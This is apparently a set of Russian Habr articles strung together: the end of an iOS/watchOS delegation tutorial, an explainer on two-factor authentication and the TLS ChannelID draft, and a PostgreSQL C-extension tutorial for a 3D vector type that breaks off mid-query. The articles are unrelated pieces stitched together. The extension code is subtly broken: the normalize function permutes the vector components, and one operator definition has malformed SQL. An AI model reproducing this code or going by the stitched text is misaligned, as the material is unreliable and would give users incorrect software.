sender: Any?) {         if segue.identifier == "switch"{          let vc = segue.destination as! SwitchViewController          vc.switchState = false          vc.delegate = self         } ``` В WatchOS все становится немного по другому. У меня есть только один передаваемый *context*, switchState и делегату. Для нескольких значений разработчики обычно используют *dictionary* вроде этого: ``` override func contextForSegue(withIdentifier segueIdentifier: String) -> Any? {         let context:[String:Any] = ["switchState":false,"delegate":self]         return context     } ``` *awake* метод имеет код для извлечения *dictionary* и присвоения значений. Когда мы нажимаем Done на часах или в приложении, запускается метод, он знает, что находится в вызывающем контроллере и будет вызван там, где мы добавили его к оригинальному классу. **data** это параметр, что бы программа могла с легкостью переносить в контроллер и в *Model*. Делегаты и протоколы довольно хитрые, но это работает и является одной из самых важных техник при работе с *ViewController*’ами. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/874/9ef/58b/8749ef58b2566cddae647f61fcc10f67.jpg) Основной вопрос заключался в том, почему Swift не сделал все это проще. Так как я показал тут все в контексте Swift, не имеет значения какой объектно — ориентированный язык вы используете. Делегация это часть последовательности MVC, которая является важным навыком программирования. Перевод [вот этой](https://makeapppie.com/2016/09/23/why-do-we-need-delegates-in-ios-and-watchos/) статьи
https://habr.com/ru/post/313242/
null
ru
null
# Аутентификация по-новому, или суперкуки ![](https://habrastorage.org/r/w780q1/storage2/b1b/79e/5ea/b1b79e5ead1da0073b409e9869842f4f.jpg)На сегодняшний день идея ухода от паролей и традиционных методов аутентификации на веб-ресурсах поднимается все чаще, причем этим озаботились такие гиганты IT-индустрии, как Google, Paypal и другие члены [альянса FIDO](http://fidoalliance.org). В рамках научных исследований, проводимых сотрудниками Google, были предложены способы усовершенствования методов аутентификации, а также черновик стандарта расширения TLS, позволяющего избавиться от использования cookies. В данной статье я расскажу о проблемах традиционных схем аутентификации, о подводных камнях при введении двухэтапной аутентификации и рассмотрю предложенный стандарт расширения TLS. Текст статьи будет полезен веб-разработчикам, планирующим встроить двухэтапную аутентификацию. При обсуждении способов строгой аутентификации часто возникает вопрос о том, что все предложенные способы слишком сложны или неудобны для пользователя. В этом случае можно предложить два дополняющих друг друга решения:* Разделение учетных записей по их значимости * Использование прозрачной для пользователя аутентификации Различение учетных записей ========================== Очевидно, что не все учетные записи требуют строгой аутентификации. Google предлагает разделить их на следующие типы: * Одноразовые учетки на сервисах, куда пользователь не планирует больше возвращаться. Таким сервисам не нужен строгий контроль аутентификации. * Типовые учетные записи, которыми дорожит пользователь, но их утрата не повлечет материальных или репутационных потерь. * Публичные аккаунты: Twitter или блог с большим количеством подписчиков, а также базы данных интернет-магазинов с данными кредитных карт * Критичные аккаунты: первичные почтовые адреса или учетки он-лайн банков. Очевидно, что необходимость в строгой аутентификации имеют последние два типа учетных записей, причем стоит заметить, что с течением времени классы аккаунтов могут перетекать из одного в другой. Типовые угрозы ============== Для любой учетной записи характерны следующие банальные и не очень угрозы:* Фишинг, при грамотной маскировке которого не спасут даже двухфакторные коды подтверждения * Повторное использование пользователями паролей (или даже одного и того же) для нескольких учетных записей * Ввод пользователем правильного пароля не в то поле или к другой учетной записи. Эта угроза не столь очевидна, но имеет место быть: порой я сам начинал вбивать спросони пароль в форму для логина. * Социальная инженерия, направленная на методы восстановления паролей. * Заражение компьютера пользователя вирусами. Частично этих угроз можно избежать, воспользовавшись менеджером паролей, но это требует установки отдельных программ и плохо совместимо с обилием у пользователя устройств на различных операционных системах. Пользователям обычно нет дела до безопасности, типов их учеток и возможных угроз. Как показывает практика, любые изменения, связанные с безопасностью, воспринимаются людьми в штыки. Поэтому помимо разработки незаметных способов аутентификации также необходимо подумать о прозрачности способа перехода к новым механизмам. Новые способы старой аутентификации =================================== Делегирование аутентификации на устройства ------------------------------------------ Сейчас у людей появляется все больше новых железок, которые имеют доступ в сеть и с которых пользователи выполняют аутентификацию на различных сервисах. При этом устройства могут тем или иным образом сохранять у себя данные пользователя для последующего использования. Предположим теперь, пользователь может единоразово разрешить устройству доступ к своим учетным записям, таким образом делегировав своему девайсу право выполнять аутентификацию самому. В некоторой степени такая схема уже реализована в современных мобильных ОС. Требуется пересмотреть процесс кэширования аутентификационных данных, добавив описание следующих вещей:* Непосредственно делегирование доступа с применением многофакторной аутентификации, если это необходимо. * Метка должна однозначно определять устройство пользователя и быть невалидной при использовании ее с другого устройства. Это позволит серверу понимать, с какого конкретно устройства сейчас зашел пользователь, а также защитит от возможной кражи метки доступа. * «Время жизни» метки доступа. В идеале, если метка уникальна, то доступ должен быть разрешен до тех пор, пока пользователь сам не решит ее отозвать. * Процесс отзыва доступа в случае потери устройства. При потере устройства необходимо лишь инвалидировать метку доступа и не потребуется менять сам пароль. * Защита самого устройства PIN-кодом и донесение необходимости этого для пользователей. * Определение операций, требующих подтверждения со стороны пользователя (таких как смена пароля, удаление аккаунта или денежные операции Впоследствии, когда у пользователя будет в распоряжении несколько аутентифицированных устройств, то ему вообще не придется вводить пароли, поскольку можно будет настроить делегирование прав между отдельными устройствами. Это наводит на мысль о том, что первичная аутентификация должна выполняться с применением нескольких факторов и криптографически стойких алгоритмов. Мысли о многофакторной аутентификации ------------------------------------- Техника двух- и болеефакторной аутентификации давно применяется в различных сферах организации информационной безопасности, а в настоящий момент многие популярные веб-сервисы включают у себя возможность многофакторной аутентификации. Например, после Google и Amazon в игру втянулись также и Twitter, Dropbox и LinkedIn. При этом большинство сервисов в качестве второго фактора используют механизм OTP. Кроме того, что данный способ не очень удобен (каждый раз надо ждать SMS, либо запустить специальное приложение, либо сгенерировать пароль на OTP-токене и затем ручками его ввести), OTP имеет ряд уязвимостей – возможность фишинга и, кроме того, необходимость хранения на сервере секрета OTP генератора в открытом виде. Горький опыт известных и не очень компаний наконец научил нас использовать стойкое хэширование паролей, после чего необходимость хранения секрета OTP в открытом виде выглядит, мягко говоря, странным. Для обеспечения безопасного хранения аутентификационных данных на сервере необходимо использовать асимметричные криптографические алгоритмы. Эти вопросы я рассмотрю дальше по тексту статьи, а пока предлагаю вниманию читателя основные сложности, возникающие при разработке системы многофакторной аутентификации. При внедрении даже самой простой двухэтапной аутентификации необходимо продумать:* поведение приложения в случае нахождения пользователя вне сотовой сети (например, в отпуске) * процесс восстановления пользователем своей учетной записи * процесс смены устройства/мобильного номера и отзыва меток доступа Помимо общей организации схемы доступа к учетным записям важно учесть, что многие приложения не смогут сразу перейти на новую процедуру аутентификации. В данном случае удобно реализовать аутентификацию в приложениях на базе Web-форм, как сейчас это делает Google во всех своих мобильных программах. Такой способ позволит разработчикам абстрагироваться от различных API аутентификации и рассматривать весь процесс как один черный ящик, на выходе из которого программа получит метку доступа. Поскольку двухфакторная аутентификация должна быть наиболее прозрачной и ненавязчивой для пользователя, то очевидно, что в типовых учетных записях нельзя полностью переходить на нее. Таким образом, необходимо найти некий компромисс, который не обременит пользователя и обеспечит безопасность учетной записи. Исследования Google показали, что требование повторной аутентификации раз в месяц является слишком назойливым и в то же время не защищает от угрозы потери устройства. Золотой серединой в таком случае является требование двухфакторной аутентификации при первом заходе пользователя в систему, после чего в браузере или на устройстве записывается «супер-cookie», который авторизует конкретное устройство в дальнейшем. При этом если пользователь того хочет, он может ограничить срок жизни cookie сессией браузера. В качестве неожиданного минуса двухэтапной аутентификации, можно выделить использование ее злоумышленниками для перехвата управлением учетной записью: после того как злоумышленник получил доступ к аккаунту с отключенной двухэтапной аутентификацией, он может настроить ее с использованием своего номера телефона, усложнив таким образом процедуру восстановления учетной записи. В качестве промежуточного вывода -------------------------------- Итого, современные методы двухэтапной аутентификации (например, OTP over SMS) помогают защититься от угроз повторного использования паролей и утечки базы хешей паролей (ага, а иногда и паролей в открытом виде) с сервера, но все-таки показывают себя неэффективными против тщательно продуманного фишинга или таргетированной атаки, включающей в себя кражу самого телефона. Таким образом, необходимо продумать механизм, который не будет иметь уязвимостей OTP, и к тому же будет требовать от пользователя меньше действий при аутентификациии. Ближе к железу и реализации =========================== Выше по тексту я говорил о необходимости использования криптографии с открытым ключом для защиты от фишинга и от кражи данных с сервера. При этом для хранения ключевой информации рационально использовать дополнительные устройства в виде USB-токенов. Как показывает практика, переход на такие технологии должен быть максимально простым, поэтому необходимо установить следующие требования:1. Технология не должна требовать установки дополнительного ПО, выходящего за рамки браузера и его расширений 2. Одного устройства должно быть достаточно для хранения данных к множеству веб-сайтов, на которых зарегистрирован пользователь 3. Протоколы регистрации и аутентификации должны быть открытыми и не должны полагаться на услуги третьей стороны. Здесь очень важно отметить, что в отношения пользователя и сайта не должны вступать другие стороны, поскольку пользователь доверяет сайту (этому способствует тот же SSL) Браузер (+ плагин) при этом должен предоставлять сайту два API: для регистрации новых пользователей и для аутентификации. При создании новой учетной записи сервис вызывает API регистрации, вследствие чего на устройстве генерируется новая ключевая пара, открытый ключ которой сохраняется на сервере. Впоследствии этот ключ будет использоваться при подтверждении личности пользователя следующим образом: при помощи API аутентификации сервер передает пользователю запрос, тот его подписывает и возвращает обратно. Подобная схема аутентификации реализована у нас в продуктах [Рутокен Web](http://habrahabr.ru/company/aktiv-company/blog/141370/) и [Рутокен Плагин](http://habrahabr.ru/company/aktiv-company/blog/155835/). Стоит отметить, что [опыт разработчиков](http://ietf.10.n7.nabble.com/Update-on-Origin-Bound-Certificates-Now-called-quot-Channel-ID-quot-td345817.html) браузера Chrome показывает, что использование при простой аутентификации сертификатов не является целесообразным. В связи с этим Google предлагает создать расширение протокола TLS, в котором будет реализована описанная выше схема аутентификации. Расширение TLS ChannelID ------------------------ Данное расширение описано в [черновике IETF](http://tools.ietf.org/html/draft-balfanz-tls-channelid-00) и предлагает механизм расширения протокола TLS, позволяющее избавиться от передачи токенов аутентификации (англ., bearer token), таких как HTTP cookies или токены OAuth. Обладатель такого токена (каким-то образом полученного ранее) может получить доступ к ресурсу вне зависимости от того, кто обладает токеном и по какому каналу он передается. Таким образом злоумышленник, завладевший токеном аутентификации, может без особых проблем авторизоваться под лицом другого пользователя. Черновик стандарта описывает расширение TLS, с помощью которого между клиентом и сервером можно создать долговременный канал, который будет сохраняться между различными HTTP-запросами и сессиями TLS, если эти подключения исходят от одного клиентского устройства. Суть данного метода в том, что после начальной аутентификации вместо cookie на клиентском устройстве генерируется ключевая пара, открытый ключ из которой сохраняется на сервере. В дальнейшем во время установления TLS-соединения (TLS handshake) клиент доказывает серверу то, что он владеет закрытым ключом, а открытый ключ является идентификатором канала (Channel ID). Такой метод лучше использования cookies по нескольким причинам:* Закрытый ключ никогда не покидает клиентского устройства, поэтому злоумышленник не сможет перехватить секрет из канала * Все криптографические операции могут выполняться на отдельном устройстве, что защищает закрытый ключ от кражи непосредственно со стороны клиента Описание процесса TLS handshake ------------------------------- При установлении соединения клиент может добавить расширение «channel\_id(0x754F)» в сообщение ClientHello. Если сервер поддерживает это расширение, то он может сигнализировать об этом клиенту в сообщении ServerHello. После получения от сервера расширенного ServerHello, клиент должен проверить стойкость выбранного алгоритма шифрования и ответить сообщением «EncryptedExtensions» после «ChangeCipherSpec» и перед «Finished». В этом сообщении указываются параметры открытого ключа и значение подписи в следующем формате: ``` struct { opaque x[32]; opaque y[32]; opaque r[32]; opaque s[32]; } ChannelIDExtension; ``` Здесь x, y, r и s — это 32-байтовые big-endian числа. Поля x и y содержат в себе афинные координаты эллиптической кривой P-256, а поля r и s — подпись ECDSA соответствующим закрытым ключом.Общая схема TLS handshake представлена ниже на рисунке. Зеленым выделены модификации по сравнению со стандартом. ![](https://habrastorage.org/r/w1560/storage2/cae/dca/e70/caedcae707f5076f97c3fc045c2bd64a.png) В качестве заключения ===================== Поскольку стандарт еще находится в разработке, то трудно сделать какие-либо строгие выводы, но как минимум можно выделить тенденции, которые Google видит в сфере развития аутентификации. Во-первых, очевидно, что традиционная аутентификация по паролям должна дополниться другими способами. Во-вторых, с появлением у пользователей большого количества устройств необходимо разработать надежный способ аутентификации этих устройств. И в-третьих, можно выделить тренд «сдвига» уровней защищенности учетных записей: если раньше двухфакторная аутентификация использовалась в основном в сервисах ДБО, то теперь она перешла в сферу публичных аккаунтов. Из этого также можно сделать вывод, что сами сервисы ДБО теперь требуют более строгих методов аутентификации, нежели OTP.
https://habr.com/ru/post/185248/
null
ru
null
# Создание расширений в PostgreSQL ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/890/a02/abf/890a02abf9fb65612c78c7803aaa24c5.jpg) Здравствуйте, хабрачеловеки! Темой этой статьи будет создание расширений для **PostgreSQL**. В качестве примера, мы реализуем небольшую библиотеку для работы с 3D векторами. Параллельно будут рассмотрены пользовательские типы, операторы и приведения типов. Не будет лишним ознакомися с [этим](http://habrahabr.ru/post/196544) материалом, так как реализация хранимых функций будет на языке C. Надеюсь, друзья слонов помогут скрасить серый технический текст статьи. #### **Описание** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/618/ede/48b/618ede48b4e3907b8bd854bf45bc59f8.jpg) [Расширение](http://www.postgresql.org/docs/9.3/static/extend-extensions.html) в **PostgreSQL** — это совокупность нескольких SQL объектов (типы данных, функции, операторы), объединённых в виде скрипта, динамически загружаемая библиотека (если она необходима) и управляющий файл, в котором указывается имя скрипта, путь к библиотеке, версия по умолчанию и прочие опции. Использование расширений позволяет легко разворачивать дополнительную логику в БД, делать миграцию на более новую версию и, при удалении расширения, корректно удалить зависимые объекты. Нам необходимо создать новый тип данных vector3 и определить такие операции: * сложение векторов * вычитание векторов * умножение вектора на скаляр * скалярное произведение * векторное произведение * нахождение длины вектора * нормализация вектора * определение дистанции между векторами Для повышения производительности, напишем всю логику на языке C и оформим в виде динамически загружаемой библиотеки math3d. Также, где это будет интуитивно, создадим операторы. Ну и, напоследок, завернём всё это в расширение. #### **Создание типа** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/585/b82/5fd/585b825fd2c454f3a8cbe0c5ca284440.jpg) СУБД **PostgreSQL** позволяет определять, помимо композитных типов, типов-перечислений и типов-диапазонов, [новые типы данных](http://www.postgresql.org/docs/9.3/static/sql-createtype.html). Последние требуют реализации функций, работающих с типом, на более низкоуровневом языке, чем SQL, как правило, на C. Определение пользовательского типа требует как минимум две функции: ввода и вывода. Функция ввода имеет один параметр с типом C-строка (массив байтов, заканчивающийся нулем) и возращает пользовательский тип. Функция вывода имеет параметр с пользовательский типом и возращает C-строку. Эти функции требуются для преобразования из внешнего (текстового) отображения во внутреннее представление и наоборот. Некоторые параметры типа со стороны СУБД: * *internallength* — размер внутреннего представления * *alignment* — выравнивание, допустимые значения 1, 2, 4, 8 байта * *storage* — выбор хранилища, plain (единственно возможный вариант для типов с фиксированным размером) для хранения без сжатия, extended допускает сжатие и перемещение вне пределов строки таблицы, где объявлен тип, main позволяет сжатие, но запрещает перемещение * *receive* — функция получения для бинарного ввода/вывода * *send* — функция отправки для бинарного ввода/вывода Определим в исходном файле *math3d.c* тип vector3, функции текстового ввода/вывода и функции бинарного ввода/вывода для этого типа: ``` #include #include #include #include #ifdef PG\_MODULE\_MAGIC PG\_MODULE\_MAGIC; #endif typedef struct { double x, y, z; } vector3; PG\_FUNCTION\_INFO\_V1(vector3\_in); PG\_FUNCTION\_INFO\_V1(vector3\_out); PG\_FUNCTION\_INFO\_V1(vector3\_recv); PG\_FUNCTION\_INFO\_V1(vector3\_send); Datum vector3\_in(PG\_FUNCTION\_ARGS) { char \*s = PG\_GETARG\_CSTRING(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); if (sscanf(s, "(%lf,%lf,%lf)", &(v->x), &(v->y), &(v->z)) != 3) { ereport(ERROR, (errcode(ERRCODE\_INVALID\_TEXT\_REPRESENTATION), errmsg("Invalid input syntax for vector3: \"%s\"", s))); } PG\_RETURN\_POINTER(v); } Datum vector3\_out(PG\_FUNCTION\_ARGS) { vector3 \*v = (vector3\*)PG\_GETARG\_POINTER(0); char \*s = (char\*)palloc(100); snprintf(s, 100, "(%lf,%lf,%lf)", v->x, v->y, v->z); PG\_RETURN\_CSTRING(s); } Datum vector3\_recv(PG\_FUNCTION\_ARGS) { StringInfo buffer = (StringInfo)PG\_GETARG\_POINTER(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = pq\_getmsgfloat8(buffer); v->y = pq\_getmsgfloat8(buffer); v->z = pq\_getmsgfloat8(buffer); PG\_RETURN\_POINTER(v); } Datum vector3\_send(PG\_FUNCTION\_ARGS) { vector3 \*v = (vector3\*)PG\_GETARG\_POINTER(0); StringInfoData buffer; pq\_begintypsend(&buffer); pq\_sendfloat8(&buffer, v->x); pq\_sendfloat8(&buffer, v->y); pq\_sendfloat8(&buffer, v->z); PG\_RETURN\_BYTEA\_P(pq\_endtypsend(&buffer)); } ``` Условимся, что текстовое представление типа vector3 будет в виде "(x,y,z)", где x, y, z, собственно, компоненты вектора. В функции *vector3\_in* из аргумента, типа C-строка, с помощью sscanf извлекаются компоненты вектора и созданный вектор (точнее указатель на него) возращается в качестве результата функции. В *vector3\_out* происходит обратное действие — преобразование вектора в строку и ее возрат. Перейдем теперь в консоль, соберём динамически загружаемую библиотеку math3d и поместим ее в каталог $libdir (узнать который можно, выполнив команду *pg\_config --pkglibdir*): ``` cc -I/usr/local/pgsql/include/server -fpic -c math3d.c cc -shared -L/usr/local/pgsql/lib -lpq -o math3d.so math3d.o cp math3d.so /usr/local/pgsql/lib/ ``` Теперь, давайте создадим тип vector3 в БД: ``` CREATE TYPE vector3; CREATE OR REPLACE FUNCTION vector3_in ( s cstring ) RETURNS vector3 AS 'math3d', 'vector3_in' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_out ( v vector3 ) RETURNS cstring AS 'math3d', 'vector3_out' LANGUAGE C IMMUTABLE STRICT; CREATE FUNCTION vector3_recv ( p internal ) RETURNS vector3 AS 'math3d', 'vector3_recv' LANGUAGE C IMMUTABLE STRICT; CREATE FUNCTION vector3_send ( v vector3 ) RETURNS bytea AS 'math3d', 'vector3_send' LANGUAGE C IMMUTABLE STRICT; CREATE TYPE vector3 ( internallength = 24, input = vector3_in, output = vector3_out, receive = vector3_recv, send = vector3_send ); ``` Обратите внимание, что сперва нужно объявить тип, для того, чтобы была возможность создать функции ввода и вывода. При определении типа, из параметров мы указываем размер внутреннего представления и функции для ввода/вывода. Выполним тестовый запрос: ``` SELECT '(0.0,1.0,0.0)'::vector3; -- (0.000000,1.000000,0.000000) с типом vector3 ``` #### **Операции с вектором** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f47/258/47f/f4725847fa6e1407b0cf23be92090288.jpg) Тип создан, но на больше, чем приведение к текстовому виду и наоборот, он пока что не способен. Сделаем его более функциональным, расширив его требуемыми операциями: **Реализация операций в math3d.c** ``` PG_FUNCTION_INFO_V1(vector3_minus); // унарный минус PG_FUNCTION_INFO_V1(vector3_add); // сложение векторов PG_FUNCTION_INFO_V1(vector3_sub); // вычитание векторов PG_FUNCTION_INFO_V1(vector3_mul_left); // умножение вектора на скаляр PG_FUNCTION_INFO_V1(vector3_mul_right); // умножение скаляра на вектор PG_FUNCTION_INFO_V1(vector3_div_left); // деление вектора на скаляр PG_FUNCTION_INFO_V1(vector3_div_right); // деление скаляра на вектор PG_FUNCTION_INFO_V1(vector3_equal); // проверка векторов на равенство PG_FUNCTION_INFO_V1(vector3_not_equal); // проверка векторов на неравенство PG_FUNCTION_INFO_V1(vector3_dot); // скалярное произведение PG_FUNCTION_INFO_V1(vector3_cross); // векторное произведение PG_FUNCTION_INFO_V1(vector3_length); // длина вектора PG_FUNCTION_INFO_V1(vector3_normalize); // нормализация вектора PG_FUNCTION_INFO_V1(vector3_distance); // расстояние между векторами Datum vector3_minus(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = -v0->x; v->y = -v0->y; v->z = -v0->z; PG_RETURN_POINTER(v); } Datum vector3_add(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->x + v1->x; v->y = v0->y + v1->y; v->z = v0->z + v1->z; PG_RETURN_POINTER(v); } Datum vector3_sub(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->x - v1->x; v->y = v0->y - v1->y; v->z = v0->z - v1->z; PG_RETURN_POINTER(v); } Datum vector3_mul_left(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); double k = PG_GETARG_FLOAT8(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->x * k; v->y = v0->y * k; v->z = v0->z * k; PG_RETURN_POINTER(v); } Datum vector3_mul_right(PG_FUNCTION_ARGS) { double k = PG_GETARG_FLOAT8(0); vector3 *v0 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = k * v0->x; v->y = k * v0->y; v->z = k * v0->z; PG_RETURN_POINTER(v); } Datum vector3_div_left(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); double k = PG_GETARG_FLOAT8(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->x / k; v->y = v0->y / k; v->z = v0->z / k; PG_RETURN_POINTER(v); } Datum vector3_div_right(PG_FUNCTION_ARGS) { double k = PG_GETARG_FLOAT8(0); vector3 *v0 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = k / v0->x; v->y = k / v0->y; v->z = k / v0->z; PG_RETURN_POINTER(v); } Datum vector3_equal(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); bool equal = true; equal &= v0->x == v1->x; equal &= v0->y == v1->y; equal &= v0->z == v1->z; PG_RETURN_BOOL(equal); } Datum vector3_not_equal(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); bool not_equal = false; not_equal |= v0->x != v1->x; not_equal |= v0->y != v1->y; not_equal |= v0->z != v1->z; PG_RETURN_BOOL(not_equal); } Datum vector3_dot(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); double r = v0->x * v1->x + v0->y * v1->y + v0->z * v1->z; PG_RETURN_FLOAT8(r); } Datum vector3_cross(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->y * v1->z - v0->z * v1->y; v->y = v0->z * v1->x - v0->x * v1->z; v->z = v0->x * v1->y - v0->y * v1->x; PG_RETURN_POINTER(v); } Datum vector3_length(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); double len = sqrt(v0->x * v0->x + v0->y * v0->y + v0->z * v0->z); PG_RETURN_FLOAT8(len); } Datum vector3_normalize(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v = (vector3*)palloc(sizeof(vector3)); double len = sqrt(v0->x * v0->x + v0->y * v0->y + v0->z * v0->z); if (len > 0.000001) { v->x = v0->y / len; v->y = v0->z / len; v->z = v0->x / len; } else { v->x = 0.0; v->y = 0.0; v->z = 0.0; } PG_RETURN_POINTER(v); } Datum vector3_distance(PG_FUNCTION_ARGS) { vector3 *v0 = (vector3*)PG_GETARG_POINTER(0); vector3 *v1 = (vector3*)PG_GETARG_POINTER(1); vector3 *v = (vector3*)palloc(sizeof(vector3)); v->x = v0->x - v1->x; v->y = v0->y - v1->y; v->z = v0->z - v1->z; double len = sqrt(v->x * v->x + v->y * v->y + v->z * v->z); pfree(v); PG_RETURN_FLOAT8(len); } ``` Напомню, что для выделения памяти следует использовать *palloc*, для освобождения, соответсвенно *pfree*. Почему нужны пары функций vector3\_mul\_left/vector3\_mul\_right и vector3\_div\_left/vector3\_div\_right будет объяснено далее. Пересоберём библиотеку math3d.so и создадим эти функции в БД, в новой сессию, чтобы сервер **PostgreSQL** загрузил новую версию библиотеки: **SQL код для создания операций** ``` CREATE OR REPLACE FUNCTION vector3_minus ( v0 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_minus' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_add ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_add' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_sub ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_sub' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_mul_left ( v0 vector3, k double precision ) RETURNS vector3 AS 'math3d', 'vector3_mul_left' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_mul_right ( k double precision, v0 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_mul_right' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_div_left ( v0 vector3, k double precision ) RETURNS vector3 AS 'math3d', 'vector3_div_left' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_div_right ( k double precision, v0 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_div_right' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_equal ( v0 vector3, v1 vector3 ) RETURNS boolean AS 'math3d', 'vector3_equal' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_not_equal ( v0 vector3, v1 vector3 ) RETURNS boolean AS 'math3d', 'vector3_not_equal' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_dot ( v0 vector3, v1 vector3 ) RETURNS double precision AS 'math3d', 'vector3_dot' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_cross ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_cross' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION length ( v0 vector3 ) RETURNS double precision AS 'math3d', 'vector3_length' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION normalize ( v0 vector3 ) RETURNS vector3 AS 'math3d', 'vector3_normalize' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION distance ( v0 vector3, v1 vector3 ) RETURNS double precision AS 'math3d', 'vector3_distance' LANGUAGE C IMMUTABLE STRICT; ``` Теперь можно делать разные операции над вектором: ``` SELECT vector3_add ( '(0.0,1.0,0.0)'::vector3, '(0.5,0.5,0.0)'::vector3 ); -- (0.500000,1.500000,0.000000) SELECT vector3_mul_right ( 5.0, '(0.2,0.2,1.33)'::vector3 ); -- (1.000000,1.000000,6.650000) SELECT vector3_cross ( '(1.0,0.0,0.0)'::vector3, '(0.0,1.0,0.0)'::vector3 ); -- (0.000000,0.000000,1.000000) SELECT length ( '(0.705,0.705,0.0)'::vector3 ); -- 0.9970206 ``` Функционал имеется, но выглядит он не очень хорошо, к примеру, для умножения скаляра на вектор интутивней была бы запись 5.0 \* '(0.2,0.2,1.33)'::vector3. Давайте для этого определим операторы. #### **Пользовательские операторы** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f4e/a07/4c8/f4ea074c8384374f468328696935753b.jpg) В **PostgreSQL** есть возможность определять свои [операторы](http://www.postgresql.org/docs/9.3/static/sql-createoperator.html), используя последовательность из символов + — \* / < > = ~! @ # % ^ & | `? с максимальной длиной 63. Они бывают унарными или бинарными. Можно создавать перегруженные операторы, имеющие одинаковое имя, но разные аргументы. Вот некоторые важные параметры оператора (для унарных операторов необходимо указывать только *leftarg* или *rightarg*): * *leftarg* — тип левого аргумента * *rightarg* — тип правого аргумента * *procedure* — функция, имеющая один (унарный оператор) или два параметра (бинарный оператор) с типами, соответсвующими *leftarg* и *rightarg* оператора * *commutator* — подсказка оптимизатору, что выражение *x A y* эквивалентно *y B x*, где A — объявляемый оператор, B — оператор для *commutator* * *negator* — подсказка оптимизатору, что выражение *x A y* эквивалентно *!(x B y)*, где A — объявляемый оператор, B — оператор для *negator* и оба оператора должны возращать boolean Создадим несколько операторов: **SQL код для создания операторов** ``` -- унарный минус CREATE OPERATOR - ( rightarg = vector3, procedure = vector3_minus ); -- сложение векторов CREATE OPERATOR + ( leftarg = vector3, rightarg = vector3, procedure = vector3_add, commutator = + ); -- вычитание векторов CREATE OPERATOR - ( leftarg = vector3, rightarg = vector3, procedure = vector3_sub ); -- умножение вектора на скаляр CREATE OPERATOR * ( leftarg = vector3, rightarg = double precision, procedure = vector3_mul_left ); -- умножение скаляра на вектор CREATE OPERATOR * ( leftarg = double precision, rightarg = vector3, procedure = vector3_mul_right ); -- деление вектора на скаляр CREATE OPERATOR / ( leftarg = vector3, rightarg = double precision, procedure = vector3_div_left ); -- деление скаляра на вектор CREATE OPERATOR / ( leftarg = double precision, rightarg = vector3, procedure = vector3_div_right ); -- проверка векторов на равенство CREATE OPERATOR = ( leftarg = vector3, rightarg = vector3, procedure = vector3_equal ); -- проверка векторов на неравенство CREATE OPERATOR != ( leftarg = vector3, rightarg = vector3, procedure = vector3_not_equal ); -- скалярное произведение CREATE OPERATOR * ( leftarg = vector3, rightarg = vector3, procedure = vector3_dot commutator = ); -- векторное произведение CREATE OPERATOR ** ( leftarg = vector3, rightarg = vector3, procedure = vector3_cross ); ``` И проверим их работоспособность: ``` SELECT 